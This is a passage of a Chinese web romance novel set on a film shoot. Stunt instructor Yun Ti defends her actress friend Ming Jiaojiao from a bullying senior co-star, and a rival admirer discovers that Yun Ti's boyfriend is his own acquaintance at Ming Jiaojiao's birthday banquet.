正要将手机关机,偶然瞥见几个小时前,路之舟给自己发的消息。 「她真的有男朋友了,怎么办。」 黎星言强撑着眼皮,回道:「有男朋友怎么了,又没结婚,就算结婚了也可以抢过来。就看你有多爱她咯。」 原以为这个时间点,对方肯定睡了。 没想到,路之舟下一秒便发来信息。 「这不太道德吧?另外,你好像有些变了……」 在路之舟眼里,曾经的黎星言是个很别扭的人,明明性格温良天真、甚至有种不合时宜的传统,但小少爷偏偏装作一副混不吝的阔少姿态,有一种想学坏但骨子里还是只小白兔的诡异感。 这样的他,在这个圈子里独树一帜、格格不入,叫人出于嫉妒般烦恶,但又难以完全讨厌。 「是因为你那个女朋友吗?你现在变得……嗯……强势勇敢许多。」 更准确的形容应该是,“变态偏执”。 静静凝视着云媞的睡颜,黎星言俯身,在她脸颊亲了又亲。 「是啊,因为太爱了,所以用尽一切办法也要缠住她,不会让任何人有机可乘。」 黎星言毫不掩饰自己近乎病态的爱意,这种坦诚让路之舟心惊。 他肃然起敬,「你说得对,向你学习。我会把她从她男朋友手里抢过来的。」 * 两日后,云媞进了许彦青的剧组。 《无渡》是一部大型古装剧,里面会有大量打斗场面。 云媞将不只作为武替,同时也是剧组特聘的武术指导之一。当然,拿两份工资。 这可以视作是许导“求和示好”的一种方式。 自从《生存者游戏》这档综艺放出云媞作武替时的“背景资料”后,有狂热观众开始深入考古,通过拉时间线以及细节对比,基本锁定那个当场辱骂苛责云媞的导演就是许彦青。 从那之后,一向以“真性情”著称的许导备受质疑,每天成千上万的网友在他微博评论区点香刨坟。 许彦青并未对此做出回应。 但新项目开启之初,他就立马找到云媞,并通过《无渡》官博放出云媞将作为剧组特邀武指的消息。 想蹭全网流量一姐的热度带着剧未播先火是一回事,稍微有点头脑的人都明白,他是在邀请云媞,携手打破“不和传闻”。 既然有意在向外界做戏,许彦青自然不会怠慢云媞,至少,不敢像曾经那样明目张胆。 与其他主演一样,餐标顶配、独立休息间、甚至还配了跟组助理。 好处,云媞理所应当地收着。但好脸色,一个也没给到对方。 不过,更令云媞意外的是,明娇娇竟然也在这个剧组。 刚到片场。 全副武装的明娇娇就直冲过来,像个小炮仗似的。 若不是闻到了她身上的熟悉气味,云媞差点一个过肩摔,将她掀翻在地。 “媞媞!有没有想我呀!” 抱着云媞,明娇娇像小猫闻到猫薄荷似的蹭来蹭去。 但很快,她又变了脸色,佯装恼怒地哼了一声,双手抱胸,横眼道:“你一点都不想我!成天就知道和黎星言待在一起,有异性没人性的家伙……” 云媞哑然失笑。 莫名觉得明娇娇和黎星言还挺像的。 即使再没有情商,她也在傲娇臭屁鬼黎少的耳提面命下,明白一个道理:面对有好感的人类,要顺毛摸。 “想的……” 才说了两个字,明娇娇瞬间扬起眉眼。 本就并非真的生气,听到想要的答案,自然得见好就收。 《无渡》这个项目,是明娇娇在参加综艺之前就定好的。 作为双女主剧,一个是背负血海深仇的女侠客,一个是扮猪吃虎的白切黑敌国公主,从江湖到庙堂,两人相爱相杀、惺惺相惜,最后携手颠覆昏君皇权,创建新纪元。 她饰演的是人设极为饱满的成长型敌国公主,这个角色人气一直很高,若能出演,肯定又会火出新高度。 但因为网上对许导的猜测,明娇娇回国后本想推掉这个戏,给好姐妹撑腰。 结果,听经纪人说云媞也会进组,她便马不停蹄赶了过来。 这次,她一定不会让媞媞被任何人欺负! …… 第一次剧本围读,以茶话会形式展开。 明娇娇强行拉着云媞坐到主演区。 其他主演陆续入座。 “抱歉各位,来迟了,以茶代酒自罚一杯。” 饰演女侠客的逯灵从容而来,面带笑意地端起品茗杯。 她刚拿了电视圈大满贯,是整个剧组咖位最大的老前辈。其他人自然不会对她的姗姗来迟而有所置喙,反而纷纷送上祝贺。 “娇娇,嗨,又见面了。” 落座在明娇娇对面,逯灵眨了眨笑眼,主动向她打招呼。 明娇娇扯起嘴角,敷衍地“嗯”了一声。 两人之间微妙的氛围,连云媞都觉察到了。 微微偏头,只见明娇娇垂在桌下的指尖隐隐颤抖。 她在害怕- 很快,这一猜测得到证实。 开机第一场,拍的是俩女主的对手戏。 两人初次见面,互相试探, 因误会而结下梁子。 这场初见戏比较简单。 演员通告中,今天的任务算是往后几个月里最轻松的。 但所有人都没想到,明娇娇竟然屡屡失误,不是忘词就是情绪不到位,硬生生将进度往后拖了一个多小时。 “没事吧,娇娇?” 与其他工作人员逐渐焦灼的神色相比,逯灵依旧温和,她扶住明娇娇的手腕,担忧道:“要不你先歇一下?” “许导,娇娇状态不对,让她暂停半小时吧,咱们可以先把一些单人镜头或空境拍了,我都ok的。” 在逯灵的提议下,许导忍住火气,将同场景的女侠客单人戏份前置。 不愧是身经百战的老前辈,即使临时换场,她也能很快入戏,情绪切换极为熟稔。 大家越是对她赞不绝口,明娇娇的压力越大。 若是拍完逯灵的单独戏份,到了对手戏,自己依旧找不到状态,该怎么办…… 明娇娇将指尖掐得泛白,手心也冒出细汗。 就在她垂着头一言不发之际,一只修长的手探进指缝,轻轻相握。 “明娇娇,你在想什么?” 云媞的声音清冷平静,似乎只是一句简单的问候,听不出多余的情绪。 明娇娇兀地红了眼眶。 她发现她现在竟然满脑子想的都是,“说好的要保护媞媞,却被她看到自己如此差劲的一面”。 她委屈地瘪了瘪嘴,哽咽着说:“感觉好丢脸……” “怎么会?你很厉害,能背那么多台词,还能当着那么多人的面演出来。我没觉得她哪里演的比你好啊,你为什么要害怕?” 云媞一眼便看透了明娇娇失误的本质。 是因为恐惧。 刚才在她们对戏时,云媞站在阴影处看得分明,那个女人一直在用眼神和肢体动作向明娇娇施压。 这是一种微妙的气场,镜头很难捕捉到。 每当明娇娇表现不错,很快就能顺利拍完一组镜头时,逯灵便会抓住她们同框的机会,用绵里藏刀的眼神压制明娇娇,直到她思绪混乱、当场卡壳。 云媞此时还不懂什么叫“压戏”,却自行参悟了这一潜规则。 “她是明青阳……也就是我哥的未婚妻,”明娇娇声音闷闷的,“我们之前有点过节……” “那怎么了?” 云媞歪了歪头,握紧她的手心,“你可是在悬崖边独自攀上直升机、从森蚺口中逃脱的勇敢女孩,他们难道比森蚺还可怕吗?” 第68章 “你是个勇敢女孩” “他们难道比森蚺还可怕吗” …… 这句话在明娇娇脑中反复盘旋。 想起与小伙伴们并肩挑战荒原的那段时光,所有命悬一线的惊险场景、相互扶持的温馨画面……走马灯般轮番播放。 对啊,不就是傻逼明青阳和他那傻逼未婚妻吗,到底有什么可怕的? 奇了怪了,她为什么总要在这俩人面前畏首畏尾。 “明大小姐,麻烦这次认真点好吗?抢天光,早拍完早收工,别因为你一个人的失误,让整个剧组陪着一起熬。” 碍于她豪门大小姐的身世,许导不好发脾气,只能不耐烦地提点几句,随后喊道:“Action!” 这一次,逯灵明显感觉到明娇娇气场变了。 那个印象中人如其名娇气怯弱、有点小聪明但没什么城府、会因为别人的三言两语而陷入自我怀疑的小女孩,此时眼神中透出一丝坚毅。 她惯用的情感操控手段随之失效。 局势反转了。 好几次,逯灵差点接不住明娇娇的戏。 幸好她表演经验丰富,即使情感上没有沉浸进去,也能通过技巧进行弥补,这才不至于被个新生代小花反压一头。 茶馆。 女扮男装出逃皇宫的公主,与一群粗犷的江湖人士称兄道弟、把酒言欢。 她望着女侠客离去的方向,微眯起眼。 似有羡慕,又有将之收入囊中的野心。 “我才不是什么娇滴滴的小公主。” 明娇娇意味深长地勾唇浅笑。 “Cut!” 许导回看监视器,赞许地直点头,“这条很好,再保一条哈。” …… 找到状态后,明娇娇越演越好,很快将落下的进度追了回来。 放饭时间。 片场外一片喧杂。 助理小雨敲开休息室的门时,云媞正和明娇娇有说有笑地吃着饭。 “外面什么动静?这么吵。”明娇娇随口问。 “娇娇姐,是路之舟工作室送来一排应援车,但不知道是送给谁的,大家都在猜……” 小雨摸了摸耳垂,露出一副“磕到了”的羞涩表情,“说是送给娇娇姐你的。” 明娇娇和路之舟曾合作过一部无限流校园剧。 不堪忍受霸凌而自杀身亡的转校生乖乖女,与反复重生救她于水火的狂傲不羁校霸。 痛失所爱又失而复得的宿命感、难以宣之于口的隐晦爱意……两个小可怜在无光的日子里,舔舐伤口、相互救赎。 无数观众嗑生嗑死。 这部剧也成为当年的黑马,实至名归用小成本创造出超高回报的现象级网剧。 不过,在宣发期也发生过同样劲爆的新闻:明娇娇卖力宣传,但路之舟反应冷淡,似乎并不配合剧方炒CP的诉求。 当时网上吵得不可开交。 一半人大骂明娇娇肆意炒作、单方面捆绑营销、蹭男方热度上位之心昭然若揭,另一半人怒斥路之舟自恃清高、亲自下场拆CP、营业期间消极怠工、没有演员的职业操守。 骂归骂,两年过去,“悠悠路明”依旧稳坐CP超话人气榜前十。 当下,路之舟给明娇娇所在剧组送应援车,还正是在她状态不佳的情况下…… 这想不让人多心都难。 听到周围人的善意调侃,原本有些发懵的明娇娇,小小的少女虚荣心也起来了。 哼,当年对她爱搭不理,装什么清纯玉男,现在看她事业蒸蒸而上,知道挽回了? 迟来的深情比草都贱! 口嫌体直地来到应援车前。 牛排自助、麦当当汉堡鸡翅、港式茶点…… 这什么鬼。 明娇娇嘴角抽搐一下,“这……哈哈,还挺有新意。” 正常人不都送咖啡奶茶这种方便又体面的饮品吗,搞这么硬的菜,是怕大家饿死在剧组吗? 但仔细想了想,明娇娇惊喜地喊道:“媞媞!好像都是你爱吃的诶!” 扭头一看,那边云媞已经毫不客气地开吃了。 起初,无论是工作人员还是前来给自家正主应援的粉丝们,碍于形象都佯装矜持。 但云媞吃得实在太香,恨不得在几辆车之间来回穿梭转起来吃,看着她两腮鼓鼓的模样,大家被勾起食欲。 直到明娇娇也加入后,整个局势便被打开了。 【啊啊啊啊啊啊啊悠悠路明!我的古早美帝CP!复活吧!】 【笑死我了路老师,你要在片场开美食摊吗?哪有人给女明星应援这种东西的啊!也太直男了吧!】 【这场应援局的最大获利者出现了!媞姐吃的好香呜呜呜,道德在哪里?底线在哪里?位置在哪里!】 云媞左手叉牛排、右手举汉堡的现场照片,被人发到网上后,又激起新一轮疯传。 …… 《迷踪》剧组。 刚下戏的路之舟坐在阴凉处,掏出手机。 与云媞的聊天界面还停留在昨日。 【陆上行舟】最近天气很热,想喝咖啡或奶茶吗?到时我让工作人员送到你们剧组。 【陆上行舟】嗯,或许有些唐突,不过我只是想报答你那次救我的恩情。 昨晚,他像前几日一样主动找云媞聊天,对方反应依旧冷淡。 秉持黎星言所说的“死缠烂打”的精神,像不要脸的小三一样,路之舟一面忍受着内心强烈的道德谴责,一面又不动声色地频频示好、暗中勾引别人老婆。 云媞的朋友圈没有设置可见范围,以前很少发动态。 但昨天连着发了三条美食图。 【牛排,最好吃。】 【点心,有点甜但也好吃。】 【某人说外面的汉堡不健康,非要自己做,皮烤焦了,难吃。】 最后一张照片中,云媞似乎是想拍糊掉的汉堡,从镜头外伸出的一双手则想盖住“罪证”。 两人的手一大一小、一白一黑,但同样修长干净、骨节分明,莫名透出一种极具反差的和谐感。 明娇娇 每条都留了言。 条条都带着怨念。 【狗煎得牛排能有多好吃?不信。媞媞来我家,我给你煎!】 【呵呵,刚在狗的朋友圈看到了这盘点心,某狗此时一定很得意吧】 【贤夫,闲夫,咸夫,嫌夫!】 路之舟意识到,那双白皙的手是云媞男朋友的。 一边嫉妒地再也不敢点开她的朋友圈,一边又私聊她:【或许,不想喝什么,那有什么想吃的吗?】 …… 想到这里,路之舟按了按太阳穴,随手点开微博。 看到主页推送的云媞狂吃图,他默默扬起嘴角。 虽然某个冷淡的小女孩不爱回他消息,但好在,他送出的礼物似乎挺讨女孩欢心。 自然而然地将这张原图保存下来后,路之舟起身。 过来送咖啡的艺人助理愣在原地,一直目送他离开也不敢出声。 我靠,是眼花了吗?路老师为什么要保存媞姐的照片…… * 逯灵和明娇娇之间的暗潮,并未因此停止涌动。 开拍第一天的摩擦,只是开端。 久而久之,工作人员也瞧出了不对劲。 “怎么感觉逯老师在故意压戏,我好几次看到明娇娇……在休息室偷偷哭。” “能被压也是因为自己演技确实不如对方吧,不过话说,她俩不应该关系挺好吗,都要成一家人了。” “谁知道呢,豪门的内情,岂是咱们牛马能懂的。” “拍文戏都这样了,马上拍武打戏份可咋整?她俩打斗的对手戏不少啊……” 从卫生间隔间出来时,窸窣交谈声已经渐远。 洗手台的自动感应器坏了,仍在哗哗流水。 云媞擦掉手上的水渍,若有所思。 半晌,她用力拍向坏掉的水龙头。 “啪!” 一道强劲的掌风忽来,明娇娇被扇得差点站不稳。 偏过头,几秒后,脸上才传出辛辣的痛感。 “抱歉许导,刚才我不小心用力过猛了,娇娇似乎也出了画,要不再来一次吧……” 逯灵面带歉意地鞠躬,随后伸出手,一脸关切,“没事吧娇娇?你说你,干嘛要逞强,直接让替身上多好……” 明娇娇咬牙,倏地躲开她伸过来的指尖,“继续吧。” 为保证镜头的真实性和代入感,逯灵一般很少用替身,除非的确是高难度、高风险。 所以,她在业内及观众心中风评极好,外界多夸她敬业。 但跟她合作过对手戏的替身演员们就不这么想了。这个女人简直笑里藏刀,经常拿替身当人肉沙包。 她位高权重,扇得狠了,别人只关心她手疼不疼,怎么会留意小小替身的死活。届时她一句轻飘飘的“辛苦”“抱歉”,替身还得苦笑着感谢视后“平易近人”“体恤小人物”。 本来今天这场挨打戏,导演给明娇娇安排了替身。 但她拒绝了,坚持自己上。 最后拍完这场戏,明娇娇右脸都肿了。 饶是一向严苛的许彦青也过意不去,特许她暂时休息一小时。 这一小时,便成了逯灵加练武术的时刻。 “云老师,可以对我严厉些,不用担心我身体吃不消,拜托啦。” 有时看着这个温和的笑容,云媞甚至会将她视幻成黎冉。 但她们是截然不同的两类人。 耸了耸鼻尖,云媞蹙眉,平静地说:“你身上的味道好臭。” 逯灵一时愣怔。 半晌,她脸上的笑容逐渐崩裂,却还强撑着一丝体面,“不好意思,可能今天香水喷多了些,看来云老师不太喜欢这个味道。” “开始吧。”云媞面无表情地说。 …… “错了。” “错了。” “再来。” “这么简单的动作都学不会吗?” “错了。” “又错了。” 整个片场,云媞的声音如魔音穿耳。 在旁人看来,她做的动作流畅简单,似乎只是在空中随意笔划几下,并没多少难度。 再加上那副冷淡镇定的表情,显得逯灵越发愚钝笨拙。 事实上…… “错了。” 云媞一手背在身后,另一手轻轻拨动逯灵的小臂。 真的只是轻轻的…… 看起来又有耐心又温柔。 但待逯灵摆出下一个动作时,小臂突然像被铁锄砸穿似的,发出剧烈的阵痛。 几个回合下来,全身都被车碾过一般,逯灵才后知后觉意识到,自己似乎被云媞整了。 她不敢置信地望向周围工作人员。 大家却并未察觉哪里不对劲。 云媞的动作太轻太快了,每次只在她身上接触不到几秒钟。 仿佛四两拨千斤,即使放到摄像头下反复检查,也瞧不出任何不妥。 “你对我做了什么!” 逯灵愤怒地吼道。 第69章 所有人都被逯灵突如其来的发火吓到了。 “指导啊,”云媞眨了眨眼,素来清冷的面容上隐隐露出一丝委屈,“不是你让我严厉些的吗?” “啊,是状态不好吗?要不先歇一下,或者,直接用武替吧……” 谁说出的话,谁记得最清楚。 这些都是逯灵在针对明娇娇时,佯装大度的话术。 看着周围人不解、惊恐、不敢相信的表情,逯灵脑袋嗡得一声响。 自己一直维持的温淑人设崩塌了。 她刚才像疯子一样,在众目睽睽之下大吼大叫。 深吸几口气,逯灵竭力让自己冷静下来,身上的疼痛却如同针扎,让她愈发烦躁不安。 顾不得什么礼仪体面,她黑着脸打了个手势,示意暂停。 随后恶狠狠地瞪了面前的云媞一眼,将她用力推开。 云媞脚步踉跄。 “砰!” 摔了个狗吃屎的却是逯灵。 她一脸吃痛地瞪大双眼,显然并不明白自己是怎么摔倒的。 “你没事吧?” 云媞一把拽起她的胳膊,俯身之际,微微侧身,挡住其他人探究的目光。 “你知道,我有很多办法可以整你。所以,再敢欺负明娇娇,我会让你生不如死。” 逯灵慌乱抬眼。 面前的女孩正直勾勾地盯着她,那双黑得惊人的眼眸,像锁定猎物的猛兽。 逼近四十度的大热天,逯灵冒了一身冷汗。 …… 休息室。 明娇娇一手用冰袋捂着脸颊,一副要哭不哭的表情。 “干嘛?”云媞笑道。 话音未落,对方兀自甩掉冰袋,飞扑到她怀中。 “媞媞,谢谢你……” 别人不了解云媞,但明娇娇知道她有多厉害。 暗中教训逯灵,叫她在众人面前失态出丑…… 云媞虽然什么都没表示,可明娇娇明白,她是在帮自己出气。 “谢什么?我什么都没做。” 云媞耸肩,瞥见她仍隐隐红肿的脸蛋,沉声问,“刚才为什么不用替身?” 明娇娇眼神闪躲,不自在地挪了挪身子,“就、就想自己上啊,我堂堂专业演员,这点苦算什么……” 看到替身,明娇娇总会想起云媞刚入行所遭受的经历。她知道逯灵爱欺负替身的臭毛病,如果自己上的话,或许对方会稍微收敛一些。 当然,从结果上来看,显然她高看了逯灵。 不过,明娇娇并不后悔。 能用自己的方式,替“曾经的云媞”揽下些许苦痛,她心里的内疚和亏欠也会稍稍减轻一些。 “我其实真的已经好了, 媞媞你看,我现在变得越来越厉害了吧……” 云媞抬手,轻轻覆上明娇娇的侧脸。 对方骤然闭嘴,一直嘴硬强撑的情绪突然绷不住了。 她瘪了瘪嘴,泫然欲滴的泪水倏地落下。 “给你吹吹就不疼了。” 说着黎星言常教自己的话,云媞倾身,一手托着明娇娇的下颌,唇间呼出舒缓的气息- 【捏妈捏妈!这是什么顶级魅魔!云媞你斩男还不够,现在连女的也不放过了是吗!】 【啥叫现在,生存者游戏时还没上桌吗?云媞和明娇娇在那时就很姬了好吧】 【百合!女人不老的秘密!啊啊啊啊啊磕死我了官博你敢不敢放出她俩的吻戏花絮!!】 【只有这张糊图吗?没有现场视频吗?好想知道媞姐和娇娇当时在说什么啊,小无渡抖抖,快抖抖!】 …… 「无渡放送社」的片场花絮放出。 被夹在最后面凑数的糊图,反而热度最高。 第二天,竟然从热搜中部突然攀上榜首。 黎星言在明娇娇朋友圈看到这张照片时,两眼一黑,瞬间炸了。 「明娇娇!你再敢买热搜,我就」 「你就怎么?说呀,手机掉马桶了?略略略就买就买,气死你!」 耀武扬威回复完黎星言的评论,明娇娇将手机随手扔到桌面。 抬眼,镜中女孩妆容精致淡雅,纯白礼服腰间缀满手工缝制的天然钻石流苏,半坐着时,裙摆如月光倾泻。 妆造师正在盘发,按照她的要求,乌发只以简单的珍珠发卡半绾,显得耳畔垂落的那对泪滴形钻石耳坠越发精巧。 在屋内几人赞不绝口的奉承下,明娇娇扬起浅浅的笑意。 倒挺有豪门大小姐那份矜贵。 “叩叩。” 敲门声响起。 “进。” 明娇娇扭头,见到门外西装革履的高大男人,瞬间冷下脸。 “娇娇,生日快乐。” 明青阳没有踏进梳妆间,而是极有分寸地站在门外。 见女孩回眸,他怔了数秒,陡然别开视线,“今天,很漂亮。”- “漂亮,每件都好漂亮!” 黎星言眼里直冒爱心,完全忘了自己正在和明娇娇“大战”。 癞皮狗似的抱住云媞的腰身,“可以就穿T恤长裤去吗?不让想别人看见……” 一记眼刀飞来,黎星言自觉咽下嘴边的浑话,委屈巴巴地说:“开个玩笑嘛……媞媞从来都没有在我面前这么穿过,嫉妒。” 这是实话。 云媞每天怎么简单怎么舒适就怎么穿,家里的衣服都是清一色的T恤牛仔裤。 然而,今天是明娇娇的生日宴。 不易穿得太隆重喧宾夺主,也不能穿得太随意给她丢面子。 所以,云媞才想着重新置办一身行头。 毫不夸张,她每换一套衣服,黎星言就要瞠目结舌地大夸特夸。 也不知道,到底给孩子憋了多久。 想到贺君卓教的“砍价法则”,云媞径直捏住黎星言的嘴巴,“笨蛋!就算觉得好看也要沉下脸,装作不满意的样子。” 即使被捏成了可达鸭,黎星言依旧笑盈盈的,眉眼弯弯地提醒她:“这里不讲价。” “哦。”云媞松手。 那没事了,继续夸吧。 换了十几件后,云媞终于不耐烦了。 “每件都好看,到底哪件最好看?” 私人试衣间推开的同时,身着黑色缎面礼服的女孩气恼地瞪了一眼。 这一眼,瞪得黎小少爷心都迸然绽放。 高定礼服剪裁独特,一字肩设计欲盖弥彰般显出云媞丰盈的胸部线条,腰间褶皱设计越发衬出纤纤细腰,裙摆侧边开叉到大腿间,隐隐能窥见饱满健美的肌肉线条。 宛如一朵盛开的黑玫瑰,摇曳生姿,高不可攀。 黎星言张了张嘴,竟说不出话。 礼服师很会察言观色,当即介绍到这款礼服的独特性,“黎少,这款高定并非秀款,品牌方也未授权过明星租赁渠道,所以,全亚洲,云小姐是第一个穿上它的人呢。” 言下之意,买下它,便获得了礼服最重要的排他性,云媞将成为唯一占有它的人。 不得不说,这套话术很符合黎小少爷bking性格。 即使这么漂亮的媞媞要被其他人看去,但黎星言还是忍痛大手一挥,“就它了。” 挑好高跟鞋,礼仪接待将云媞引到其他楼层做妆发。 黎星言慢悠悠跟在后面,向礼服师递了个眼神,“把刚才试过的,都包了。” 真的都很漂亮啊。 烦死了,为什么要这么漂亮。 也对,在荒野穿个破冲锋衣和老头背心都那么光彩夺目的人,就该熠熠生辉啊。 在小心眼和炫耀中,黎星言选择了小心眼地炫耀。 老婆是要打扮得美美的,内心也是要阴暗爬行的。 闷闷坐到沙发上,幽怨地盯着云媞露在外面光洁的后背,黎星言的表情在“我老婆真美”和“凭什么别人也能看”之间,反复横跳。 最后一笔,勾出云媞性感的唇线。 妆发师满意地点头,正要去取配饰。 “不用了,”云媞头也没回,拿起手边的紫檀木首饰盒,朝面前镜子挥了挥,“戴这个就够了。” 镜中虎视眈眈的黎小狗,眼神一瞬间变得清澈雀跃。 他倏地跑过来,喜滋滋接过木盒。 这也是黎星言第一次见云媞戴他送的“豹影”项链。 那是不是代表……她并不会真的卖了换钱? 就在他低头调整项链扣之际。 云媞微微偏头,在黎星言耳边轻声说:“别不开心了,其他人见我穿得再好看,也没你那么幸运……” 她一脸认真地安慰道:“毕竟只有你,见过我没穿衣服的样子。” 黎星言的脸瞬间爆红。 一句话,将他哄得飘飘欲仙。 直到出门,此男都脚步虚浮,跟没长骨头似的黏在云媞身侧。 刚从隔壁高端伴手礼店出来的路之舟,偶然瞥见黎星言的侧脸,一时以为自己看错了。 待确认是他时,两人已上了车。 黎小少爷在女朋友面前是这种形象吗……真跟狗一样啊。 不过……为什么感觉他女朋友的背影,隐隐有些熟悉。 路之舟微微蹙眉,心突然跳得很乱。 * 三层挑空宴会厅穹顶,巨型水晶枝形吊灯翩然垂下。 暖金色光束穿过水晶棱柱,在鎏金浮雕墙面上投下细碎虹光。 云媞抬头望着,喃喃自语:“这得值多少钱?” “喜欢吗?” 黎星言笑着将装满点心的餐碟递到她手边,“我家祖宅这种亮晶晶的东西更多更值钱,喜欢我给你全偷回来。” 他还在暗戳戳地“怨”她,上次拒绝了自己的晚宴邀请。 家里那么多好东西,随便拿一件都比明娇娇家的强,何必羡慕别人的,哼! “算了,不相信你的技术。” 云媞睨了他一眼,直接就着他递过来的叉子叼上一口,“下次我自己去偷。” …… 明娇娇的二十一岁生日宴,除了家中长辈那边的亲戚世交,她自己主动邀请的人很少。 她没有特别交好的朋友,即使曾经有,也因为各种各样的原因,关系渐渐淡了。 但明娇娇却邀请了“荒原求生小队”的所有人,甚至派专车特地去接崔达、马育铭、苏简等人。 贺君卓和班列一起坐商 务车来的。 那辆车是明星御用保姆车款,宽敞舒适,适合临时休息。 这是黎星言送给贺君卓的,准确来说,是让他照顾好云媞在片场的衣食住行。 至于叶玄,他的创业公司已步入稳定,给自己配了一辆奔驰,不用去接。 说来还挺有意思,招人时,叶玄正巧碰到康仔在找工作。 康仔这人老实沉闷,也不会蹭热度搞直播,即使现在有点小名气,仍选择踏踏实实到处投简历。 没有一丝犹豫,叶玄当即向他抛出橄榄枝。 对方也没嫌弃初创公司、前景不稳定,直接就背着包,死心塌地跟着干了起来。 听到这里,云媞讶异地瞥了一眼康仔。 被人打趣,他也不争着反驳,只低头傻笑。 云媞陡然想起《问鼎荒原》原书中,那个一直跟在叶玄身边走南闯北,默默帮他清除阻碍、人狠话不多的左膀右臂——“康爷”。 原来就是康仔吗? 人类的潜能竟如此可怖,这么一个沉默寡言的老实男人,怎么会被生活调教成杀人不眨眼的大魔头…… 云媞的眼神实在灼热,惹得康仔羞怯地直挠后脑勺,“媞、媞姐,怎、怎么了……” “媞媞现在是大明星了,需要助理吗?也想把康仔挖过去?”叶玄打趣道。 似乎只要她说,自己就会拱手让人。 “姐姐要助理吗!那我不演戏了,我也可以当助理!”班列自告奋勇。 贺君卓天塌了:“你想干什么!祖宗!刚签了一部戏,你不演了,我去帮你演流氓吗?!你是要哇达西去鼠吗?” 把头发梳成大人模样、西装革履的“未来金牌经纪人”贺君卓,此时的表情太过浮夸,惹得大家开怀大笑。 距离上次十人全员聚齐,还是在稀树草原的最后一天。 短短二十天不到,竟有种恍若隔世的错觉。 但没有变的,是大家围在一起谈笑时的熟悉感和安全感。 明娇娇轻晃手中的高脚杯,低头抿了一口。 余光却悄悄瞟向班列。 虽然前几日,他们的剧组都在影视城时,班列经常趁着空闲时间,偷偷跑来见云媞,但明娇娇每次都有意避开了。 也不明白自己是什么心理,她有点想见到班列,但每次见到又会莫名很生气。 明娇娇叹了口气,正要说话。 一道沉稳低沉的声音打断她的思绪。 “明娇娇,祝你生日快乐。” 路之舟拎着精致的礼盒缓缓走近,露出礼貌性的浅笑,“感谢你的邀请,一份薄礼,希望你能喜欢。” 明娇娇上前几步迎接,顺手接过,“谢谢。要不是你前几天送的豪华应援车,我都快记不起您这号大人物了。” 她说话一向娇纵,路之舟已见怪不怪。 “不过,你好像误会了什么……” 路之舟想说,应援车不是送给你的。 突然一晃眼,看到了另一侧笑眼盈盈的云媞。 她被一群人围在中间,黑色晚礼服勾勒出完美的身材曲线,在灯光映照下愈发惊艳夺目。 眼里似乎只剩下云媞。 路之舟下意识抬脚走过去。 陡然瞥见她盈盈一握的腰间那只白皙修长的手,他倏地怔住,抬眼缓缓望去。 是黎星言。 不知道他说了什么,云媞一把掐住他的脸颊,狠狠揉搓两下。 动作是不客气的,眼神里却充满爱意。 路之舟眼睫重重地颤了一下,耳畔划出尖锐的杂音。 “怎么了?”明娇娇问。 他唇瓣翕动,似乎用了很大力气,才轻声问出那句话:“黎星言旁边那个女孩……是……” “哦,你说媞媞啊,”明娇娇“啧”了一声,不情不愿地说,“是那狗的主人。” 第70章 “路之舟?” 黎星言也看到了他。 明娇娇知道他俩祖辈有点交情,便自然将路之舟带过去,并向其他小伙伴互相介绍一番。 路之舟不记得自己是怎么走过去的,他只觉头晕目眩、四肢乏力。 此时,云媞认出了他,“你是前几天加我那个人。” 结束《迷踪》剧组后,她和路之舟只能算网友关系,虽知自己救过他,但她也没将网友和真人对上号。 “媞媞和路之舟认识?”黎星言疑惑偏头。 云媞这才将自己烂尾楼救人的事,简单描述一遍。 三言两语,就足够其他人脑补出当时的惊险一幕。 但大家已经见惯不惊。 与荒岛那些经历相比,这对云媞来说,算得了什么。 “在剧组吃盒饭还顺手救个大明星,”贺君卓竖起大拇指,很会来事儿地将自己的名片递给路之舟,“路老师,我是云媞经纪人,您看,这关系摆在这儿,要是以后有适合的机会还望多推荐给咱们……” “只是……顺手救的吗?” 一直保持沉默的路之舟开口了。 他静静看着云媞,良久,久到其他人都察觉到不对劲。 黎星言沉下脸,侧身挡在云媞面前,“不然呢?” 他当下并未将路之舟的异常举动,与之前他俩的聊天记录联系起来。 只是单纯觉得对方的眼神,让人很不舒服。 “抱歉,是我唐突了。” 路之舟很快冷静下来,朝云媞温和笑道:“原来你那天晚上跟我说的男朋友,就是黎星言啊,都是熟人,倒还挺有缘分。” 明明是对着云媞,句句却说给黎星言听。 路之舟在暗示,他们每晚都有聊天,甚至已经聊到了情感方面,云媞却不愿提自己男朋友是谁。 …… “我敢肯定!路之舟绝对喜欢你!” 明娇娇完全回过味来,倒吸一口凉气,“所以,那排应援车是他送给你的?” 借着让云媞陪自己回房拿东西的由头,明娇娇开始打探一手八卦。 想到刚才黎星言差点单方面和路之舟打起来的场景,她既觉刺激又觉好笑,“真没想到路之舟竟然是这种人,啧啧,一副清心寡欲、与世无争的样子,结果当面挖兄弟墙角啊……” 云媞迷惑偏头,“挖墙脚?” “就是横刀夺爱,强行把你和黎星言分开的意思。” 明娇娇故意将路之舟形容成反派角色,悄悄打探起对方的反应,“说真的媞媞,你怎么想的?” 谁料,云媞倏地变了脸色。 她停下脚步,一字一句地说:“黎星言是我的,谁也不许抢走。” 啧,死小子命真好。 虽然一直与黎星言拌嘴、互相嫌弃,但明娇娇只是单纯嫉妒他分走了自己最喜欢最要好的朋友的注意力,并非对他本人不满。 若是与其他男人相比,知根知底的恋爱脑黎星言显然要靠谱得多。 明娇娇慨叹一声,“哎真好啊,你俩,好幸福。” 什么时候,甜甜的爱情也能轮到她呢。 想到这里,班列那张臭脸突然浮现眼前。 吓得明娇娇猛得甩了甩脑袋。 ……真是被鬼附身了。 扶着旋转楼梯,心虚转移话题般,明娇娇向云媞讲起自己小时候的故事。 她是九岁时才住进这个家的。 是的,明娇娇并非“货真价实”的豪门大小姐。 她妈妈是明父的初恋,因种种现实原因被迫分开,明父最终娶了家世显赫的原配夫人,生下长子明青阳。 但明父心里一直放不下白月光初恋,机缘巧合下,两人再次相逢,死灰复燃。 直到明娇娇三岁时,明母才意识到自己竟然做了破坏别人家庭的小三,一气之下带着女儿远走高飞。 就这样拉拉扯扯数年,明父找到小女儿时,明母已经因病离世,他毅然将明娇娇带回家,并弥补般给了她所有宠爱。 事实上,豪门的父爱并非无条件的,明娇娇从小就很会看人眼色。 她长得漂亮嘴又甜,不仅把明父哄得团团转,最后也俘获了原配夫人的怜爱,将她视如己出。 明娇娇顿了顿,突然懊恼自己为什么倾诉欲这么强,竟将这些不堪的往事全盘托出。 媞媞会不会觉得她是……小三的女儿,会不会因为她并非真千金而看不起她,会不会认为她很有心机而渐渐疏离…… 虽然明知云媞不是这样的人,可明娇娇还是忍不住胡思乱想。 “其实我也不是……”明娇娇想替自己辩护,但声音越来越弱。 